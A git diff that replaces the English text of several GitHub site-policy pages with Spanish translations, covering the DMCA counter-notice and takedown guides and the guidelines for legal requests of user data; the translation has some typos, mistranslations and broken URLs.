-You can also send an email notification to <copyright@github.com>. You may include an attachment if you like, but please also include a plain-text version of your letter in the body of your message.
+También puedes enviar una notificación por correo electrónico a <copyright@github.com>. Puedes incluir un archivo adjunto si lo deseas, pero por favor incluye una versión de texto simple de tu carta en el cuerpo de tu mensaje.
 
-If you must send your notice by physical mail, you can do that too, but it will take *substantially* longer for us to receive and respond to it—and the 10-14 day waiting period starts from when we *receive* your counter notice. Notices we receive via plain-text email have a much faster turnaround than PDF attachments or physical mail. If you still wish to mail us your notice, our physical address is:
+Si debes enviar tu notificación por correo físico, también puedes hacerlo pero tardaremos *substancialmente* en recibirla y responder a ella y el periodo de espera de 10 a 14 días comienza a partir de cuando *recibamos* tu contra notificación. Las notificaciones que recibimos por correo electrónico de texto plano tienen una respuesta mucho más rápida que los archivos adjuntos PDF o el correo. Si aún deseas enviarnos tu aviso, nuestra dirección es:
 
 ```
 GitHub, Inc
-Attn: DMCA Agent
+En atención a: Agente de DMCA
 88 Colin P Kelly Jr St
 San Francisco, CA. 94107
 ```
diff --git a/translations/es-ES/content/github/site-policy/guide-to-submitting-a-dmca-takedown-notice.md b/translations/es-ES/content/github/site-policy/guide-to-submitting-a-dmca-takedown-notice.md
index deccf23500..61be53bc81 100644
--- a/translations/es-ES/content/github/site-policy/guide-to-submitting-a-dmca-takedown-notice.md
+++ b/translations/es-ES/content/github/site-policy/guide-to-submitting-a-dmca-takedown-notice.md
@@ -1,5 +1,5 @@
 ---
-title: Guide to Submitting a DMCA Takedown Notice
+title: Guía para enviar un aviso de retiro de DMCA
 redirect_from:
   - /dmca-notice-how-to
   - /articles/dmca-notice-how-to
@@ -11,84 +11,83 @@ topics:
   - Legal
 ---
 
-This guide describes the information that GitHub needs in order to process a DMCA takedown request. If you have more general questions about what the DMCA is or how GitHub processes DMCA takedown requests, please review our [DMCA Takedown Policy](/articles/dmca-takedown-policy).
+Esta guía describe la información que GitHub necesita para procesar una solicitud de retiro de DMCA. Si tienes preguntas más generales sobre qué es la DMCA o cómo procesa GitHub las solicitudes de retiro de DMCA, por favor revisa nuestra [política de retiro de DMCA](/articles/dmca-takedown-policy).
 
-Due to the type of content GitHub hosts (mostly software code) and the way that content is managed (with Git), we need complaints to be as specific as possible. These guidelines are designed to make the processing of alleged infringement notices as straightforward as possible. Our form of notice set forth below is consistent with the form suggested by the DMCA statute, which can be found at the U.S. Copyright Office's official website: <https://www.copyright.gov>.
+Debido al tipo de contenido de los hosts de GitHub (principalmente de código de software) y a la forma en que se gestiona el contenido (con Git), necesitamos que las demandas sean lo más específicas posible. Estas directrices están diseñadas para que el procesamiento de las notificaciones de supuestas infracciones sea lo más sencillo posible. Nuestra forma de notificación indicada a continuación es coherente con el formulario sugerido por el estatuto DMCA, que se puede encontrar en el sitio web oficial de la Oficina de Derechos de Autor de EE. UU.: <https://www.copyright.gov>. Sitio web oficial de la Oficina de Derechos de Autor: <https://www.copyright.gov>.
 
-As with all legal matters, it is always best to consult with a professional about your specific questions or situation. We strongly encourage you to do so before taking any action that might impact your rights. This guide isn't legal advice and shouldn't be taken as such.
+Como en todas las cuestiones jurídicas, siempre es mejor consultar con un profesional sobre tus preguntas o situación específicas. Te recomendamos enfáticamente que lo hagas antes de emprender cualquier acción que pueda afectar tus derechos. Esta guía no es asesoramiento legal y no debería ser tomada como tal.
 
-## Before You Start
+## Antes de comenzar
 
-***Tell the Truth.*** The DMCA requires that you swear to the facts in your copyright complaint *under penalty of perjury*. It is a federal crime to intentionally lie in a sworn declaration. (*See* [U.S. Code, Title 18, Section 1621](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm).) Submitting false information could also result in civil liability — that is, you could get sued for money damages. The DMCA itself [provides for damages](https://en.wikipedia.org/wiki/Online_Copyright_Infringement_Liability_Limitation_Act#%C2%A7_512(f)_Misrepresentations) against any person who knowingly materially misrepresents that material or activity is infringing.
+***Di la Verdad.*** La DMCA requiere que prestes atención a los hechos en tu queja de derechos de autor *bajo pena de perjurio*. Es un crimen federal mentir intencionadamente en una declaración jurada. (*Consulta* [el Código de lso EE.UU. , Título 18, Sección 1621](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm).) La presentación de información falsa también podría resultar en responsabilidad civil, es decir, podrías ser demandado por daños monetarios. La DMCA por sí misma [proporciona daños](https://en.wikipedia.org/wiki/Online_Copyright_Infringement_Liability_Limitation_Act#%C2%A7_512(f)_Misrepresentations) contra cualquier persona que, a sabiendas, tergiversa materialmente dicha actividad o material infractor.
 
-***Investigate.*** Millions of users and organizations pour their hearts and souls into the projects they create and contribute to on GitHub. Filing a DMCA complaint against such a project is a serious legal allegation that carries real consequences for real people. Because of that, we ask that you conduct a thorough investigation and consult with an attorney before submitting a takedown to make sure that the use isn't actually permissible.
+***Investiga.*** Millones de usuarios y organizaciones se esfuerzan demasiado en los proyectos que crean y contribuyen en GitHub. La presentación de una queja de DMCA contra un proyecto de este tipo es una acusación legal seria que conlleva consecuencias reales para las personas reales. Por eso, te pedimos que realices una investigación exhaustiva y consultes con un abogado antes de enviar una solicitud de retiro para asegurarte que el uso no sea realmente permisible.
 
-***Ask Nicely First.*** A great first step before sending us a takedown notice is to try contacting the user directly. They may have listed contact information on their public profile page or in the repository's README, or you could get in touch by opening an issue or pull request on the repository. This is not strictly required, but it is classy.
+***Primero pregunta amablemente.*** Un gran primer paso antes de enviarnos una notificación de retiro es intentar contactar directamente al usuario. Pueden haber enumerado información de contacto en su página de perfil público o en el README del repositorio, o podrías ponerse en contacto abriendo una propuesta o solicitud de extracción en el repositorio. Esto no es estrictamente necesario, pero es común.
 
-***Send In The Correct Request.*** We can only accept DMCA takedown notices for works that are protected by copyright, and that identify a specific copyrightable work. If you have a complaint about trademark abuse, please see our [trademark policy](/articles/github-trademark-policy/). If you wish to remove sensitive data such as passwords, please see our [policy on sensitive data](/articles/github-sensitive-data-removal-policy/). If you are dealing with defamation or other abusive behavior, please see our [Community Guidelines](/articles/github-community-guidelines/).
+***Envia una solicitud de corrección.*** Sólo podemos aceptar notificaciones de retiro de DMCA para obras protegidas por derechos de autor y que identifiquen un trabajo específico con derechos de autor. Si tienes una queja sobre el abuso de la marca registrada, consulta nuestra [política de marcas](/articles/github-trademark-policy/). Si desea eliminar datos sensibles como contraseñas, consulta nuestra [política sobre datos sensibles](/articles/github-sensitive-data-removal-policy/). Si usted está tratando con difamación u otro comportamiento abusivo, por favor consulta nuestras [Directrices de la comunidad](/articles/github-community-guidelines/).
 
-***Code Is Different From Other Creative Content.*** GitHub is built for collaboration on software code. This makes identifying a valid copyright infringement more complicated than it might otherwise be for, say, photos, music, or videos.
+***El código es diferente de otro contenido creativo.*** GitHub está construido para colaborar en el código de software. Esto hace que la identificación de una infracción válida de derechos de autor sea más complicada de lo que podría ser de otra manera para, fotos, música o videos, por ejemplo.
 
-There are a number of reasons why code is different from other creative content. For instance:
+Existen diversas razones por las que el código es diferente de otros contenidos creativos. Por ejemplo:
 
-- A repository may include bits and pieces of code from many different people, but only one file or even a sub-routine within a file infringes your copyrights.
-- Code mixes functionality with creative expression, but copyright only protects the expressive elements, not the parts that are functional.
-- There are often licenses to consider. Just because a piece of code has a copyright notice does not necessarily mean that it is infringing. It is possible that the code is being used in accordance with an open-source license.
-- A particular use may be [fair-use](https://www.lumendatabase.org/topics/22) if it only uses a small amount of copyrighted content, uses that content in a transformative way, uses it for educational purposes, or some combination of the above. Because code naturally lends itself to such uses, each use case is different and must be considered separately.
-- Code may be alleged to infringe in many different ways, requiring detailed explanations and identifications of works.
+- Un repositorio puede incluir bits y partes de código de muchas personas diferentes, pero sólo un archivo o incluso una subrutina dentro de un archivo infringe tus derechos de autor.
+- El código mezcla funcionalidad con expresión creativa, pero los derechos de autor sólo protegen los elementos expresivos, no las partes que son funcionales.
+- A menudo hay licencias a considerar. El hecho de que una parte del código tenga una notificación de derechos de autor no significa necesariamente que sea infractora. Es posible que el código se esté utilizando de acuerdo con una licencia de código abierto.
+- Un uso particular puede ser [uso legítimo](https://www.lumendatabase.org/topics/22) si solamente utiliza una pequeña cantidad del contenido protegido por derechos de autor, si utiliza ese contenido de forma transformativa, lo utiliza para fines educativos, o alguna combinación de lo anterior. Dado que el código naturalmente se presta a dichos usos, cada caso de uso es diferente y debe considerarse por separado.
+- Se puede alegar que el código infringe de muchas formas diferentes, exigiendo explicaciones detalladas e identificaciones de obras.
 
-This list isn't exhaustive, which is why speaking to a legal professional about your proposed complaint is doubly important when dealing with code.
+Esta lista no es exhaustiva, por lo que hablar con un profesional legal sobre tu propuesta de reclamación es doblemente importante cuando se trata de un código.
 
-***No Bots.*** You should have a trained professional evaluate the facts of every takedown notice you send. If you are outsourcing your efforts to a third party, make sure you know how they operate, and make sure they are not using automated bots to submit complaints in bulk. These complaints are often invalid and processing them results in needlessly taking down projects!
+***Sin bots.*** Deberías contar con un profesional capacitado para evaluar los datos de cada notificación de retito que envíes. Si estás subcontratando tus labores a un tercero, asegúrate de saber cómo trabajand y asegúrate que no estén utilizando bots automatizados para presentar quejas en masa. ¡Estas quejas a menudo no son válidas y su procesamiento da lugar a la supresión innecesaria de proyectos!
 
-***Matters of Copyright Are Hard.*** It can be very difficult to determine whether or not a particular work is protected by copyright. For example, facts (including data) are generally not copyrightable. Words and short phrases are generally not copyrightable. URLs and domain names are generally not copyrightable. Since you can only use the DMCA process to target content that is protected by copyright, you should speak with a lawyer if you have questions about whether or not your content is protectable.
+***Los temas de derechos de autor son difíciles.*** Puede ser muy difícil determinar si un trabajo en particular está protegido o no por derechos de autor. Por ejemplo, los hechos (incluyendo los datos) generalmente no tienen derechos de autor. Las palabras y las frases cortas generalmente no tienen derechos de autor. Las URLs y los nombres de dominio generalmente no tienen derechos de autor. Dado que sólo puede utilizar el proceso DMCA para abordar contenido protegido por derechos de autor, deberías hablar con un abogado si tienes preguntas sobre si tu contenido es o no protegible.
 
-***You May Receive a Counter Notice.*** Any user affected by your takedown notice may decide to submit a [counter notice](/articles/guide-to-submitting-a-dmca-counter-notice). If they do, we will re-enable their content within 10-14 days unless you notify us that you have initiated a legal action seeking to restrain the user from engaging in infringing activity relating to the content on GitHub.
+***Puedes recibir una contra notificación.*** Cualquier usuario afectado por tu notificación de retiro puede decidir enviar una [contra notificación](/articles/guide-to-submitting-a-dmca-counter-notice). Si lo hacen, reactivaremos tu contenido en un plazo de 10 a 14 días a menos que nos notifique que has iniciado una acción legal encaminada a impedir que el usuario se involucre en infringir la actividad relacionada con el contenido en GitHub.
 
-***Your Complaint Will Be Published.*** As noted in our [DMCA Takedown Policy](/articles/dmca-takedown-policy#d-transparency), after redacting personal information, we publish all complete and actionable takedown notices at <https://github.com/github/dmca>.
+***Tu queja se publicará.*** Como se indica en nuestra [política de DMCA](/articles/dmca-takedown-policy#d-transparency), después de modificar la información personal, publicamos todas las notificaciones de retiro completas y accionables en [https://github. om/github/dmca](https://github.com/github/dmca).
 
-***GitHub Isn't The Judge.***
-GitHub exercises little discretion in the process other than determining whether the notices meet the minimum requirements of the DMCA. It is up to the parties (and their lawyers) to evaluate the merit of their claims, bearing in mind that notices must be made under penalty of perjury.
+***GitHub no es el juez.*** GitHub ejerce poca discreción en el proceso además de determinar si las notificaciones cumplen con los requisitos mínimos de la DMCA. Corresponde a las partes (y a sus abogados) evaluar el mérito de sus reclamaciones, teniendo en cuenta que los avisos deben realizarse bajo pena de perjurio.
 
-## Your Complaint Must ...
+## Tu queja debe ...
 
-1. **Include the following statement: "I have read and understand GitHub's Guide to Filing a DMCA Notice."** We won't refuse to process an otherwise complete complaint if you don't include this statement. But we'll know that you haven't read these guidelines and may ask you to go back and do so.
+1. **Incluir la siguiente declaración: "He leído y entendido la guía de GitHub para presentar una notificación de DMCA.** No nos negaremos a procesar una queja completa si no incluye esta declaración. Pero sabremos que no has leído estas directrices y podríamos solicitarte que regreses y lo lleves a cabo.
 
-2. **Identify the copyrighted work you believe has been infringed.** This information is important because it helps the affected user evaluate your claim and give them the ability to compare your work to theirs. The specificity of your identification will depend on the nature of the work you believe has been infringed. If you have published your work, you might be able to just link back to a web page where it lives. If it is proprietary and not published, you might describe it and explain that it is proprietary. If you have registered it with the Copyright Office, you should include the registration number. If you are alleging that the hosted content is a direct, literal copy of your work, you can also just explain that fact.
+2. **Identifica el trabajo con derechos de autor que consideras que ha sido infringido.** Esta información es importante porque ayuda al usuario afectado a evaluar su reclamación y le da la capacidad de comparar su trabajo con el tuyo. La especificidad de su identificación dependerá de la naturaleza del trabajo que consideras que ha sido infringido. Si has publicado tu trabajo, solo podrás enlazar a una página web donde reside. Si es autónoma y no está publicada, puedes describirlo y explicar que es propietario. Si lo has registrado en la Oficina de Derechos de Autor, debes incluir el número de registro. Si estás alegando que el contenido alojado es una copia directa y literal de tu trabajo, también puedes explicar ese hecho.
 
-3. **Identify the material that you allege is infringing the copyrighted work listed in item #2, above.** It is important to be as specific as possible in your identification. This identification needs to be reasonably sufficient to permit GitHub to locate the material. At a minimum, this means that you should include the URL to the material allegedly infringing your copyright. If you allege that less than a whole repository infringes, identify the specific file(s) or line numbers within a file that you allege infringe. If you allege that all of the content at a URL infringes, please be explicit about that as well. 
-   - Please note that GitHub will *not* automatically disable [forks](/articles/dmca-takedown-policy#b-what-about-forks-or-whats-a-fork) when disabling a parent repository. If you have investigated and analyzed the forks of a repository and believe that they are also infringing, please explicitly identify each allegedly infringing fork. Please also confirm that you have investigated each individual case and that your sworn statements apply to each identified fork. In rare cases, you may be alleging copyright infringement in a full repository that is actively being forked. If at the time that you submitted your notice, you identified all existing forks of that repository as allegedly infringing, we would process a valid claim against all forks in that network at the time we process the notice. We would do this given the likelihood that all newly created forks would contain the same content. In addition, if the reported network that contains the allegedly infringing content is larger than one hundred (100) repositories and thus would be difficult to review in its entirety, we may consider disabling the entire network if you state in your notice that, "Based on the representative number of forks you have reviewed, I believe that all or most of the forks are infringing to the same extent as the parent repository." Your sworn statement would apply to this statement.
+3. **Identifica el material al que haces referencia que está infringiendo el trabajo protegido por derechos de autor que aparece en el artículo #2, anterior.** Es importante ser lo más específico posible en tu identificación. Esta identificación debe ser razonablemente suficiente para permitir a GitHub localizar el material. Como mínimo, esto significa que debe incluir la URL del material que supuestamente infringe sus derechos de autor. Si aseguras que se infringe menos de un repositorio completo, identifica el(los) archivo(s) específicos o números de línea dentro de un archivo al que te refieres. Si aseguras que se infringe todo el contenido en una URL, por favor se explícito al respecto también.
+   - Por favor, toma en cuenta que GitHub *no* inhabilitará automáticamente las [bifurcaciones](/articles/dmca-takedown-policy#b-what-about-forks-or-whats-a-fork) al inhabilitar un repositorio padre. Si has investigado y analizado los forks de un repositorio y crees que también están infringiendo, por favor identifique explícitamente cada fork supuestamente infractor. Por favor, confirma también que has investigado cada caso individual y que tus declaraciones juradas se aplican a cada fork identificado. En pocas ocasiones, puede que alegues que se violaron los derechos de autor en todo un repositorio que se está bifurcando. Si en al momento de enviar tu notificación identificaste todas las bifurcaciones existentes de dicho repositorio como supuestas violaciones, procesaremos un reclamo válido contra todas las bifurcaciones en esa red al momento de procesar la notificación. Haremos esto dada la probabilidad de que todas las bifurcaciones recién creadas contengan lo mismo. Adicionalmente, si la red que se reporta como albergadora del contenido de la supuesta violación es mayor a cien (100) repositorios y, por lo tanto, es difícil de revisar completamente, podríamos considerar inhabilitar toda la red si declaras en tu notificación que, "Con base en la cantidad representativa de bifurcaciones que revisaste, crees que todas o la mayoría de las bifurcaciones constituyen una violación en la misma medida que el repositorio padre". Tu declaración jurada aplicará a la presente.
 
-4. **Explain what the affected user would need to do in order to remedy the infringement.** Again, specificity is important. When we pass your complaint along to the user, this will tell them what they need to do in order to avoid having the rest of their content disabled. Does the user just need to add a statement of attribution? Do they need to delete certain lines within their code, or entire files? Of course, we understand that in some cases, all of a user's content may be alleged to infringe and there's nothing they could do short of deleting it all. If that's the case, please make that clear as well.
+4. **Explica lo que el usuario afectado tendría que hacer para remediar la infracción.** De nuevo, la especificidad es importante. Cuando transmitimos su queja al usuario, esto les dirá lo que tienen que hacer para evitar que el resto de su contenido esté desactivado. ¿Necesita el usuario añadir una declaración de atribución? ¿Necesitan eliminar ciertas líneas dentro de su código, o archivos completos? Por supuesto, entendemos en algunos casos, todo el contenido de un usuario puede infringirse presuntamente y no hay nada que puedan hacer más que borrarlo todo. Si ese es el caso, por favor deja esto claro también.
 
-5. **Provide your contact information.** Include your email address, name, telephone number and physical address.
+5. **Proporciona tu información de contacto.** Incluye tu dirección de correo electrónico, nombre, número de teléfono y dirección.
 
-6. **Provide contact information, if you know it, for the alleged infringer.** Usually this will be satisfied by providing the GitHub username associated with the allegedly infringing content. But there may be cases where you have additional knowledge about the alleged infringer. If so, please share that information with us.
+6. **Proporciona información de contacto, si la conoces, para el presunto infractor.** Generalmente esto se realizará proporcionando el nombre de usuario de GitHub asociado con el contenido presuntamente infractor. Sin embargo, puede haber casos en los que tengas conocimientos adicionales sobre el presunto infractor. Si es así, por favor comparte esa información con nosotros.
 
-7. **Include the following statement: "I have a good faith belief that use of the copyrighted materials described above on the infringing web pages is not authorized by the copyright owner, or its agent, or the law. I have taken fair use into consideration."**
+7. **Incluye la siguiente declaración: "Tengo buena fe en que el uso de los materiales protegidos por derechos de autor descritos anteriormente en las páginas web infractoras no está autorizado por el propietario de los derechos de autor, o su agente, o la ley. He tenido en cuenta el uso justo."**
 
-8. **Also include the following statement: "I swear, under penalty of perjury, that the information in this notification is accurate and that I am the copyright owner, or am authorized to act on behalf of the owner, of an exclusive right that is allegedly infringed."**
+8. **También incluye la siguiente declaración: "Juro, bajo pena de perjurio, que la información de esta notificación es exacta y que soy el propietario de los derechos de autor, o estoy autorizado para actuar en nombre del propietario, de un derecho exclusivo que se infringe presuntamente".**
 
-9. **Include your physical or electronic signature.**
+9. **Incluye tu firma física o electrónica.**
 
-## Complaints about Anti-Circumvention Technology
+## Quejas sobre Tecnología de Anti Elusión
 
-The Copyright Act also prohibits the circumvention of technological measures that effectively control access to works protected by copyright. If you believe that content hosted on GitHub violates this prohibition, please send us a report through our {% data variables.contact.contact_dmca %}. A circumvention claim must include the following details about the technical measures in place and the manner in which the accused project circumvents them. Specifically, the notice to GitHub must include detailed statements that describe:
-1. What the technical measures are;
-2. How they effectively control access to the copyrighted material; and 
-3. How the accused project is designed to circumvent their previously described technological protection measures.
+La Ley de Derechos de Autor también prohíbe la elusión de medidas tecnológicas que controlen eficazmente el acceso a las obras protegidas por los derechos de autor. Si crees que el contenido que se hospeda en GitHub viola esta prohibición, por favor, envíanos un reporte mediante nuestro {% data variables.contact.contact_dmca %}. Un reclamo de evasión debe incluir los siguientes detalles sobre las medidas técnicas puestas en marcha y sobre la forma en la que el proyecto acusado las evade. Específicamente, la notificación a GitHub debe incluir las declaraciones que describan:
+1. Cuáles son las medidas técnicas;
+2. Cómo controlan el acceso al material con derechos de autor de forma efectiva; y
+3. Cómo se diseñó el proyecto actusado para evadir las medidas de protección tecnológica que se describen con anterioridad.
 
-## How to Submit Your Complaint
+## Como presentar tu queja
 
-The fastest way to get a response is to enter your information and answer all the questions on our {% data variables.contact.contact_dmca %}.
+La forma más rápida de obtener una respuesta es ingresar tu información y responder a todas las preguntas de nuestro {% data variables.contact.contact_dmca %}.
 
-You can also send an email notification to <copyright@github.com>. You may include an attachment if you like, but please also include a plain-text version of your letter in the body of your message.
+También puedes enviar una notificación por correo electrónico a <copyright@github.com>. Puedes incluir un archivo adjunto si lo deseas, pero por favor incluye una versión de texto simple de tu carta en el cuerpo de tu mensaje.
 
-If you must send your notice by physical mail, you can do that too, but it will take *substantially* longer for us to receive and respond to it. Notices we receive via plain-text email have a much faster turnaround than PDF attachments or physical mail. If you still wish to mail us your notice, our physical address is:
+Si debes enviar tu aviso por correo físico, también puedes hacerlo pero tardará *substancialmente* en que lo recibamos y respondamos al mismo. Las notificaciones que recibimos por correo electrónico de texto plano tienen una respuesta mucho más rápida que los archivos adjuntos PDF o el correo. Si aún deseas enviarnos tu aviso, nuestra dirección es:
 
 ```
 GitHub, Inc
-Attn: DMCA Agent
+En atención a: Agente de DMCA
 88 Colin P Kelly Jr St
 San Francisco, CA. 94107
 ```
diff --git a/translations/es-ES/content/github/site-policy/guidelines-for-legal-requests-of-user-data.md b/translations/es-ES/content/github/site-policy/guidelines-for-legal-requests-of-user-data.md
index d78d303584..70dc347859 100644
--- a/translations/es-ES/content/github/site-policy/guidelines-for-legal-requests-of-user-data.md
+++ b/translations/es-ES/content/github/site-policy/guidelines-for-legal-requests-of-user-data.md
@@ -1,5 +1,5 @@
 ---
-title: Guidelines for Legal Requests of User Data
+title: Pautas para las solicitudes legales de los datos del usuario
 redirect_from:
   - /law-enforcement-guidelines
   - /articles/guidelines-for-legal-requests-of-user-data
@@ -10,214 +10,161 @@ topics:
   - Legal
 ---
 
-Are you a law enforcement officer conducting an investigation that may involve user content hosted on GitHub?
-Or maybe you're a privacy-conscious person who would like to know what information we share with law enforcement and under what circumstances.
-Either way, you're on the right page.
+¿Eres un agente de la policía que lleva a cabo una investigación que pueda implicar contenido de usuario alojado en GitHub? O quizá seas una persona consciente de la privacidad y te gustaría saber qué información compartimos con las fuerzas policiales y bajo qué circunstancias. Cualquiera que sea la razón, estás en la página correcta.
 
-In these guidelines, we provide a little background about what GitHub is, the types of data we have, and the conditions under which we will disclose private user information.
-Before we get into the details, however, here are a few important details you may want to know:
+En estas pautas, proporcionamos algunos antecedentes sobre lo que es GitHub, los tipos de datos que tenemos y las condiciones bajo las cuales divulgaremos información privada del usuario. Sin embargo, antes de entrar en los detalles, aquí se presentan algunos detalles importantes que quizás deseas saber:
 
-- We will [**notify affected users**](#we-will-notify-any-affected-account-owners) about any requests for their account information, unless prohibited from doing so by law or court order.
-- We will not disclose **location-tracking data**, such as IP address logs, without a [valid court order or search warrant](#with-a-court-order-or-a-search-warrant).
-- We will not disclose any **private user content**, including the contents of private repositories, without a valid [search warrant](#only-with-a-search-warrant).
+- [**Notificaremos a los usuarios afectados**](#we-will-notify-any-affected-account-owners) sobre cualquier solicitud de información de su cuenta a menos que se prohíba hacerlo por ley u orden judicial.
+- No divulgaremos **datos de seguimiento de ubicación**, tales como registros de direcciones IP, sin una [orden judicial válida o orden de registro](#with-a-court-order-or-a-search-warrant).
+- No divulgaremos ningún **contenido privado del usuario**, incluyendo el contenido de repositorios privados, sin una [orden de registro válida](#only-with-a-search-warrant).
 
-## About these guidelines
+## Acerca de estas pautas
 
-Our users trust us with their software projects and code—often some of their most valuable business or personal assets.
-Maintaining that trust is essential to us, which means keeping user data safe, secure, and private.
+Nuestros usuarios confían en nosotros con sus proyectos de software y código - a menudo algunos de sus activos personales o comerciales más valiosos. Mantener esa confianza es esencial para nosotros, lo que significa mantener los datos de los usuarios seguros y privados.
 
-While the overwhelming majority of our users use GitHub's services to create new businesses, build new technologies, and for the general betterment of humankind, we recognize that with millions of users spread all over the world, there are bound to be a few bad apples in the bunch.
-In those cases, we want to help law enforcement serve their legitimate interest in protecting the public.
+Mientras que la abrumadora mayoría de nuestros usuarios utilizan los servicios de GitHub para crear nuevas empresas, para construir nuevas tecnologías y para el mejoramiento general de la humanidad, reconocemos que con millones de usuarios repartidos por todo el mundo, no hay duda de que habrá algunas excepciones. En esos casos, deseamos ayudar a las fuerzas policiales a servir a su legítimo interés de proteger al público.
 
-By providing guidelines for law enforcement personnel, we hope to strike a balance between the often competing interests of user privacy and justice.
-We hope these guidelines will help to set expectations on both sides, as well as to add transparency to GitHub's internal processes.
-Our users should know that we value their private information and that we do what we can to protect it.
-At a minimum, this means only releasing data to third-parties when the appropriate legal requirements have been satisfied.
-By the same token, we also hope to educate law enforcement professionals about GitHub's systems so that they can more efficiently tailor their data requests and target just that information needed to conduct their investigation.
+Al proporcionar pautas para el personal encargado de hacer cumplir la ley, esperamos lograr un equilibrio entre los intereses a menudo contrapuestos de la privacidad y la justicia de los usuarios. Esperamos que estas pautas ayuden a establecer expectativas por ambas partes, así como a añadir transparencia a los procesos internos de GitHub. Nuestros usuarios deben saber que valoramos su información privada y que hacemos nuestro mejor esfuerzo para protegerla. Como mínimo, esto significa la liberación de datos a terceros solo cuando se hayan cumplido los requisitos legales adecuados. Por el mismo token, también esperamos educar a los profesionales de la aplicación de la ley sobre los sistemas de GitHub, para que puedan adaptar de manera más eficiente sus solicitudes de datos y dirigir justo esa información necesaria para llevar a cabo su investigación.
 
-## GitHub terminology
+## Terminología GitHub
 
-Before asking us to disclose data, it may be useful to understand how our system is implemented.
-GitHub hosts millions of data repositories using the [Git version control system](https://git-scm.com/video/what-is-version-control).
-Repositories on GitHub—which may be public or private—are most commonly used for software development projects, but are also often used to work on content of all kinds.
+Antes de solicitarnos que divulguemos datos, podría ser útil entender cómo se implementa nuestro sistema. GitHub aloja millones de repositorios de datos usando el [sistema de control de versiones Git](https://git-scm.com/video/what-is-version-control). Los repositorios en GitHub—que pueden ser públicos o privados—se utilizan más comúnmente para proyectos de desarrollo de software pero también se utilizan a menudo para trabajar en el contenido de todo tipo.
 
-- [**Users**](/articles/github-glossary#user) —
-Users are represented in our system as personal GitHub accounts.
-Each user has a personal profile, and can own multiple repositories.
-Users can create or be invited to join organizations or to collaborate on another user's repository.
+- [**Usuarios**](/articles/github-glossary#user) — Los usuarios están representados en nuestro sistema como cuentas personales de GitHub. Cada usuario tiene un perfil personal y puede tener múltiples repositorios. Los usuarios pueden crear o ser invitados a unirse a organizaciones o a colaborar en el repositorio de otro usuario.
 
-- [**Collaborators**](/articles/github-glossary#collaborator) —
-A collaborator is a user with read and write access to a repository who has been invited to contribute by the repository owner.
+- [**Colaboradores**](/articles/github-glossary#collaborator) — Un colaborador es un usuario con acceso de lectura y escritura a un repositorio que ha sido invitado a contribuir por el propietario del repositorio.
 
-- [**Organizations**](/articles/github-glossary#organization) —
-Organizations are a group of two or more users that typically mirror real-world organizations, such as businesses or projects.
-They are administered by users and can contain both repositories and teams of users.
+- [**Organizaciones**](/articles/github-glossary#organization) — Las organizaciones son un grupo de dos o más usuarios que normalmente reflejan las organizaciones del mundo real, como empresas o proyectos. Son administrados por usuarios y pueden contener tanto repositorios como equipos de usuarios.
 
-- [**Repositories**](/articles/github-glossary#repository) —
-A repository is one of the most basic GitHub elements.
-They may be easiest to imagine as a project's folder.
-A repository contains all of the project files (including documentation), and stores each file's revision history.
-Repositories can have multiple collaborators and, at its administrators' discretion, may be publicly viewable or not.
+- [**Repositorios**](/articles/github-glossary#repository) — Un repositorio es uno de los elementos más básicos de GitHub. Pueden ser los más fáciles de imaginar como una carpeta de un proyecto. Un repositorio contiene todos los archivos del proyecto (incluida la documentación) y almacena cada historial de revisión del archivo. Los repositorios pueden tener múltiples colaboradores y, a discreción de sus administradores, pueden ser públicos o no.
 
-- [**Pages**](/articles/what-is-github-pages) —
-GitHub Pages are public webpages freely hosted by GitHub that users can easily publish through code stored in their repositories.
-If a user or organization has a GitHub Page, it can usually be found at a URL such as `https://username.github.io` or they may have the webpage mapped to their own custom domain name.
+- [**Páginas**](/articles/what-is-github-pages) — Las páginas de GitHub son páginas web públicas libremente alojadas por GitHub que los usuarios pueden publicar fácilmente a través del código almacenado en sus repositorios. Si un usuario u organización tiene una página de GitHub, generalmente se puede encontrar en una URL como `https://username. ithub.io` o pueden tener la página web mapeada a su propio nombre de dominio personalizado.
 
-- [**Gists**](/articles/creating-gists) —
-Gists are snippets of source code or other text that users can use to store ideas or share with friends.
-Like regular GitHub repositories, Gists are created with Git, so they are automatically versioned, forkable and downloadable.
-Gists can either be public or secret (accessible only through a known URL). Public Gists cannot be converted into secret Gists.
+- [**Gists**](/articles/creating-gists) — Gists son fragmentos de código fuente u otro texto que los usuarios pueden usar para almacenar ideas o compartir con amigos. Al igual que los repositorios normales de GitHub, las listas se crean con Git, por lo que son automáticamente versionadas, bifurcables y descargables. Las listas pueden ser públicas o secretas (accesibles solo a través de una URL conocida). Los Gists públicos no pueden convertirse en Gists secretos.
 
-## User data on GitHub.com
+## Datos de usuario en GitHub.com
 
-Here is a non-exhaustive list of the kinds of data we maintain about users and projects on GitHub.
+Aquí hay una lista no exhaustiva de los tipos de datos que mantenemos sobre usuarios y proyectos en GitHub.
 
 - <a name="public-account-data"></a>
-**Public account data** —
-There is a variety of information publicly available on GitHub about users and their repositories.
-User profiles can be found at a URL such as `https://github.com/username`.
-User profiles display information about when the user created their account as well their public activity on GitHub.com and social interactions.
-Public user profiles can also include additional information that a user may have chosen to share publicly.
-All user public profiles display:
-  - Username
-  - The repositories that the user has starred
-  - The other GitHub users the user follows
-  - The users that follow them
+**Datos de cuenta pública** — Hay una variedad de información disponible públicamente en GitHub sobre los usuarios y sus repositorios. Los perfiles de usuario se pueden encontrar en una URL como `https://github.com/username`. Los perfiles de usuario muestran información acerca de cuándo creó su cuenta el usuario, así como su actividad pública en GitHub.com e interacciones sociales. Los perfiles de usuario públicos también pueden incluir información adicional que un usuario pudo haber decidido compartir públicamente. Visualización de todos los perfiles públicos del usuario:
+  - Nombre de usuario
+  - Los repositorios que el usuario ha marcado
+  - Los otros usuarios de GitHub que el usuario sigue
+  - Los usuarios que los siguen
 
-  Optionally, a user may also choose to share the following information publicly:
-  - Their real name
-  - An avatar
-  - An affiliated company
-  - Their location
-  - A public email address
-  - Their personal web page
-  - Organizations to which the user is a member (*depending on either the organizations' or the users' preferences*)
+  Opcionalmente, un usuario también puede elegir compartir la siguiente información públicamente:
+  - Su nombre real
+  - Un avatar
+  - Una empresa afiliada
+  - Su ubicación
+  - Una dirección de correo electrónico pública
+  - Su página web personal
+  - Organizaciones de las que el usuario es miembro (*dependiendo de las preferencias de las organizaciones o de los usuarios*)
 
